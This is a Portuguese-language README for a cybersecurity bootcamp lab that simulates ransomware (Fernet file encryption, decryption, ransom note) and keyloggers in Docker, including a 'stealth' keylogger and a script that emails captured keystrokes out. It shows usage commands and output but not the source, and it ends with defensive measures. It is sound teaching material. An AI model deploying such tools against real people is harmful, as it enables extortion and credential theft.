Projeto 003 · Bootcamp Cyber Security (Riachuelo) · DIO
Aviso Importante: Este repositório contém simulações de malwares para fins exclusivamente educacionais. Todo o código aqui apresentado deve ser utilizado apenas em ambientes controlados e de laboratório, com o objetivo de aprender como essas ameaças funcionam para melhor se defender delas.
O uso destas técnicas contra sistemas reais sem autorização é ilegal e antiético.
Este projeto faz parte do bootcamp de Cyber Security da DIO em parceria com Riachuelo, onde o objetivo é compreender o funcionamento de ransomware e keyloggers para desenvolver estratégias de defesa eficazes.
Este repositório documenta a entrega do desafio "Simulando Malware de Captura de Dados em Python" do bootcamp de Cyber Security. O objetivo é implementar, documentar e compartilhar um projeto prático simulando o comportamento de malwares em ambiente 100% controlado.
| Componente | Status | Descrição |
|---|---|---|
| Ransomware Simulado | ✅ | Script de criptografia de arquivos com Fernet |
| Descriptografia | ✅ | Script de recuperação de arquivos |
| Mensagem de Resgate | ✅ | Geração de nota de "resgate" simulada |
| Keylogger | ✅ | Captura de teclas com logging |
| Keylogger Furtivo | ✅ | Versão com técnicas de evasão |
| Envio por E-mail | ✅ | Automação de envio de logs |
┌─────────────────────────────────────────────┐
│ Docker Network (bridge) │
│ malware_lab_network │
├────────────────────┬────────────────────────┤
│ attacker │ target-files │
│ (malware-lab) │ (alpine) │
│ Python 3.11 │ Arquivos de teste │
│ + libs │ para criptografia │
└────────────────────┴────────────────────────┘
- Docker
- Docker Compose
# Construir imagens
make build
# Iniciar ambiente
make up
# Acessar container attacker
make attachO ransomware simulado utiliza a biblioteca cryptography (Fernet) para criptografar arquivos em um diretório específico.
# Dentro do container attacker
python3 /ransomware/ransomware_encrypt.py /targets/filesSaída esperada:
============================================================
RANSOMWARE SIMULADO - MODO CRIPTOGRAFIA
============================================================
Diretório alvo: /targets/files
Extensões: .txt, .csv, .json, .xml, .doc, .docx, .pdf
============================================================
[+] 3 arquivo(s) encontrado(s)
[+] Criptografado: /targets/files/documento_importante.txt.encrypted
[+] Criptografado: /targets/files/clientes.csv.encrypted
[+] Criptografado: /targets/files/dados_empresa.json.encrypted
============================================================
[+] Concluído: 3/3 arquivos criptografados
[+] CHAVE DE CRIPTOGRAFIA (GUARDE ESTA CHAVE!):
w4xK8pQrT...
============================================================
# Usando a chave gerada
python3 /ransomware/ransomware_decrypt.py "w4xK8pQrT..." /targets/filespython3 /ransomware/ransomware_notice.py "w4xK8pQrT..." /logs/resgate.txtmake encrypt # Criptografar arquivos
make decrypt KEY="chave" # Descriptografar arquivosEste projeto oferece duas versões de keylogger:
- Versão Terminal - Funciona em qualquer ambiente (Docker, servidor, etc.)
- Versão pynput - Requer ambiente gráfico (X11/Windows)
Esta versão funciona no ambiente Docker e simula a captura de teclas via terminal:
# Modo interativo (digite texto e ENTER para capturar)
python3 /keylogger/keylogger_terminal.py -o /logs/keylog.txt
# Com tempo máximo (60 segundos)
python3 /keylogger_terminal.py -o /logs/keylog.txt -t 60Exemplo de uso:
Digite algo (ou ENTER para finalizar): minha_senha123
[+] Capturado: minha_senha123
Digite algo (ou ENTER para finalizar): admin@email.com
[+] Capturado: admin@email.com
Digite algo (ou ENTER para finalizar):
============================================================
[+] Captura finalizada
[+] Total de entradas: 2
[+] Log salvo em: /logs/keylog.txt
Esta versão utiliza a biblioteca pynput para capturar eventos reais de teclado, mas requer um servidor X11 (ambiente gráfico):
# Requer X11/DESKTOP - não funciona em containers headless
python3 /keylogger/keylogger.py -o /logs/keylog.txt -t 60Nota: O pynput precisa de um display X11. Em ambientes Docker sem GUI, use a versão terminal.
Esta versão simula técnicas de evasão utilizadas por malwares reais:
- Nomes de arquivos ocultos (começam com
.) - Nomes de processos inócuos
- Buffer de armazenamento temporário
python3 /keylogger/keylogger_stealth.py -o /logs/.keylogpython3 /keylogger/send_keylog_email.py \
--from seuemail@gmail.com \
--password "sua_senha_app" \
--to destinatario@email.com \
--file /logs/keylog.txtNota: Para Gmail, use Senhas de App
# Ver guia de configuração
make email-guide| Medida | Descrição |
|---|---|
| Backup Regular | Mantenha cópias de segurança offline e verificadas frequentemente |
| Antivírus Atualizado | Use soluções de segurança com detecção em tempo real |
| Patch Management | Mantenha sistemas e aplicativos atualizados |
| Principio do Menor Privilégio | Limite permissões de usuários |
| Segmentação de Rede | Isole sistemas críticos |
| Educação do Usuário | Treine para reconhecer phishing e downloads suspeitos |
| Medida | Descrição |
|---|---|
| Antivírus/Antimalware | Varredura regular e em tempo real |
| Virtualização | Use máquinas virtuais para atividades sensíveis |
| Teclados Virtuais | Utilize teclado virtual para senhas críticas |
| Autenticação de Dois Fatores (2FA) | Reduz impacto de senhas roubadas |
| Software Original | Evite software de fontes desconhecidas |
| Monitoramento de Rede | IDS/IPS para detectar tráfego suspeito |
- Sandboxing: Execute código não confiável em ambientes isolados
- Firewall: Configure regras de entrada e saída
- Monitoramento: Analise logs de sistema regularmente
- Políticas de Senha: Exija senhas fortes e únicas
- Conscientização: Treine usuários continuamente
├── README.md
├── Makefile
├── docker-compose.yml
├── attacker/
│ └── Dockerfile
├── ransomware/
│ ├── ransomware_encrypt.py
│ ├── ransomware_decrypt.py
│ └── ransomware_notice.py
├── keylogger/
│ ├── keylogger.py # Versão pynput (requer X11)
│ ├── keylogger_terminal.py # Versão terminal (funciona no Docker)
│ ├── keylogger_stealth.py # Versão furtiva
│ └── send_keylog_email.py # Envio por e-mail
├── targets/
│ └── files/
│ ├── documento_importante.txt
│ ├── clientes.csv
│ └── dados_empresa.json
├── logs/
└── docs/
└── images/
Nota sobre pynput: A biblioteca
pynputrequer um servidor X11 (ambiente gráfico) para funcionar. Em containers Docker sem GUI, use a versão terminal (keylogger_terminal.py).
Este projeto é para fins educacionais. Uso responsável é de total responsabilidade do usuário.
Projeto desenvolvido no âmbito do Bootcamp Cyber Security (Riachuelo), DIO.